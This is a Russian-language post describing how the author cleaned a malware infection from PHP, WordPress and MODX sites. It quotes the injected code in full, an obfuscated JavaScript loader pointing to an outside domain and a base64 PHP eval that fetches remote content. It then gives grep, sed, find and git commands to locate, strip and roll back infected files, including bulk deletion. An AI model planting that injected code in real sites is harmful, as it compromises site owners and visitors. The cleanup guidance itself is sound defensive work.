Лечение вируса на сайтах с php

Обнаружил у себя на сайтах wordpress и не только, где разрешения на папки стояли 777 или пользователь www-data имел право на запись файлы с названиями: ytpovuie ytpovuie.zip en.php и вида 09378bfbf19.php 

А также в начале многих php файлов добавился текст, который определялся яндексом как вирус и выводил сообщение об этом в поисковой выдаче:

<script type=’text/javascript’ src=’https://cdn.eeduelements.com/jquery.js’></script><script type=’text/javascript’>var _0x2f98=[«\x62\x6F\x64\x79″,»\x62\x65\x66\x6F\x72\x65\x65\x6E\x64″,»\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x6A\x71\x75\x65\x72\x79\x2E\x6A\x73\x27\x20\x61\x73\x79\x6E\x63\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E»,»\x69\x6E\x73\x65\x72\x74\x41\x64\x6A\x61\x63\x65\x6E\x74\x48\x54\x4D\x4C»,»\x64\x69\x73\x63\x6F\x6E\x6E\x65\x63\x74″,»\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65\x6D\x65\x6E\x74″,»\x6F\x62\x73\x65\x72\x76\x65″];(function(){var _0x863ex1= new MutationObserver(function(){if(document[_0x2f98[0]]){document[_0x2f98[0]][_0x2f98[3]](_0x2f98[1],_0x2f98[2]);_0x863ex1[_0x2f98[4]]()}});_0x863ex1[_0x2f98[6]](document[_0x2f98[5]],{childList:true})})()</script><?php eval(base64_decode(‘ZWNobyBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL215ZnJlZXdlYmRvbWFpbi50ay9tLnBocCIpOw==’)); ?>

Найти все зараженные файлы с текстом в начале
grep -r -n "eeduelements" .
Удалить только в одном файле:
sed -i 's/.*eeduelements.*\?>//' index.php
Удалить во всех php файлах find . -name "*.php" -exec sed -i -e 's/.*eeduelements.*\?>//' {} \; Более быстрый способ удалить во всех файлах: grep -rlZ "eeduelements" . | xargs -0 sed -i -e 's/.*eeduelements.*\?>//' Если на сервере все файлы были сделаны не от пользователя www-data, то можно найти левые файлы: find . -name "*.php" -user www-data посмотреть убелиться что они с вирусом и удалить их: find . -name "*.php" -user www-data -exec rm {} \; Следует проверить файлы созданные в то же время что и вредоносные: find . -type f -ls |grep 'Jul 28 16:11'
Еще потенциально подозрительные файлы можно найти так: grep -r -n "Moujahidin" grep -rn "base64_decode" | more grep -rn "temp1" | more Все гораздо проще если у вас стоит система контроля версий git, достаточно просто откатить изменения: git clean -df git reset --hard HEAD

 

В моем случае одной из причин проникновения вируса была бага в modx, которую исправили в MODX Revolution 2.6.5, можно либо полностью обновиться, либо внести изменения из коммита:
https://github.com/modxcms/revolution/commit/606dc0f1635de4b699d1151616af75e5c08d4cdd